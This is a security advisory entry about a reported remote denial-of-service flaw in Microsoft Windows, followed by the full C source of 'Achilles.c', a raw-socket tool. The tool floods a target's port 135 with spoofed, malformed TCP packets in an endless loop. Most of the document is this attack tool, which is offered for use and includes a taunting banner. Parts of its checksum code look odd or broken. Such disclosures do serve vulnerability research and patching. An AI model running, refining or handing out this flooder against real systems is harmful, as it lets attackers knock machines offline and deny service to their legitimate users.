source: http://www.securityfocus.com/bid/19135/info

Microsoft Windows is reportedly prone to a remote denial-of-service vulnerability. This issue may be due to the operating system's failure to properly handle unexpected network traffic.

This issue may cause affected computers to crash, denying service to legitimate users.

Note that Microsoft has not been able to reproduce this issue. This BID will be updated as further analysis is performed.

/*
 * Achilles.c version2
 * Remodified Achilles Windows Attack Tool
 * compiled on FreeBSD 6.1, SuSE 10
 * Solaris 10, NetBSD 3.0,
 * Proof of Concept tool that disconnects
 * Windows machines until the program is
 * stopped. Tested locally and remotely.
 *
 * linux:~ # uname -a
 * Linux linux 2.6.13-15.10-default #1 Fri May 12 16:27:12 UTC 2006 i386 GNU/Linux
 *
 * $ uname -a
 * SunOS unknown 5.10 Generic_118822-25 sun4u sparc SUNW,Sun-Fire-280R
 *
 * -bash2-2.05b$ uname -a
 * FreeBSD hypnos 5.4-RELEASE-p14 FreeBSD 5.4-RELEASE-p14 #1: Thu May 11 01:34:54 CDT 2006 toor@hypnos:/usr/obj/usr/src/sys/HYPNOS  i386
 *
 * (c) 2006 J. Oquendo Genexsys.net::Infiltrated.net
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>

#ifndef __USE_BSD
#define __USE_BSD

#endif

#ifndef __FAVOR_BSD

#define __FAVOR_BSD

#endif

#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x) htons(x)

#else

#define FIX(x) (x)
#endif

struct ip_hdr {
    u_int ip_hl:4,
                ip_v:4;
    u_char ip_tos;
    u_short ip_len;
    u_short ip_id;
    u_short ip_off;
    u_char ip_ttl;
    u_char ip_p;
    u_short ip_sum;
    u_long saddr, daddr;
};

struct tcp_hdr {
    u_short th_sport;
    u_short th_dport;
    u_long th_seq;
    u_long th_syn;
    u_int th_x2:4,
                th_off:4;
    u_char th_flags;
    u_short th_win;
    u_short th_sum;
    u_short th_urp;
};

struct tcpopt_hdr {
    u_char type;
    u_char len;
    u_short value;
};

struct pseudo_hdr {
    u_long saddr, daddr;
    u_char mbz, ptcl;
    u_short tcpl;
};

struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short bgport, bgsize, pps;
u_long radd;
u_long sradd;
int sock;

void usage(char *progname)
{
    fprintf(stderr, "Usage: %s <dst> <src> <size> <number>\n", progname);
    fprintf(stderr, "dst:\tDestination Address\n");
    fprintf(stderr, "src:\tSource Address\n");
    fprintf(stderr, "size:\tSize of packet\n");
    fprintf(stderr, "num:\tpackets\n\n");
    exit(1);
}

inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
     while (nleft > 1) {
         sum += *w++;
         nleft -= 2;
     }
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }
     sum = (sum >> 16) + (sum & 0xF0F0);
     sum += (sum >> 16);
     answer = ~sum;
     return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s\n", hostname);
       exit(1);
    }

    return *(u_long *)hp->h_addr;
}

void flooder(void)
{
    struct timespec ts;
    int i;

    memset(&packet, 0, sizeof(packet));

    ts.tv_sec = 0;
    ts.tv_nsec = 100;

    packet.ip.ip_hl = 5;
    packet.ip.ip_v = 4;
    packet.ip.ip_p = IPPROTO_TCP;
    packet.ip.ip_tos = 0xa0;
    packet.ip.ip_id = radd;
    packet.ip.ip_len = FIX(sizeof(packet));
    packet.ip.ip_off = 0;
    packet.ip.ip_ttl = 255;
    packet.ip.ip_dst.s_addr = radd;

    packet.tcp.th_flags = 0;
    packet.tcp.th_win = 65535;
    packet.tcp.th_seq = random();
    packet.tcp.th_ack = 0;
    packet.tcp.th_off = random();
    packet.tcp.th_urp = 0;
    packet.tcp.th_dport = 135;
    cksum.pseudo.daddr = sradd;
    cksum.pseudo.mbz = random(); /* WATCH ME CLOSELY */
    cksum.pseudo.ptcl = IPPROTO_TCP;
    cksum.pseudo.tcpl = random();

    s_in.sin_family = AF_INET;
    s_in.sin_addr.s_addr = sradd;
    s_in.sin_port = 135;

    for(i=0;;++i) {
    if( !(i&31337) ) {
        packet.tcp.th_sport = 135;
        cksum.pseudo.saddr = packet.ip.ip_src.s_addr = sradd;
        packet.tcp.th_flags = random();
        packet.tcp.th_ack = random();

    }
    else {
        packet.tcp.th_flags = rand();
        packet.tcp.th_ack = rand();
    }
       ++packet.ip.ip_id;
       /*++packet.tcp.th_sport*/;
       ++packet.tcp.th_seq;

       if (!bgport)
          s_in.sin_port = packet.tcp.th_dport = 135;

       packet.ip.ip_sum = 0;
       packet.tcp.th_sum = 0;

       cksum.tcp = packet.tcp;

       packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
       packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));

       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0);

    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("Achilles.c Windows Attack Tool\n");


    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
       perror("socket");
       exit(1);
    }

    setgid(getgid()); setuid(getuid());

    if (argc < 4)
       usage(argv[0]);

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
       perror("setsockopt");
       exit(1);

    }

    srand((time(NULL) ^ getpid()) + getppid());

    printf("\nFinding host\n"); fflush(stdout);

    radd = lookup(argv[1]);
    bgport = atoi(argv[3]);
    bgsize = atoi(argv[4]);
    sradd = lookup(argv[2]);
    printf("Achilles: Before my time is done I will look down on your corpse and smile.\n");

    flooder();

    return 0;
}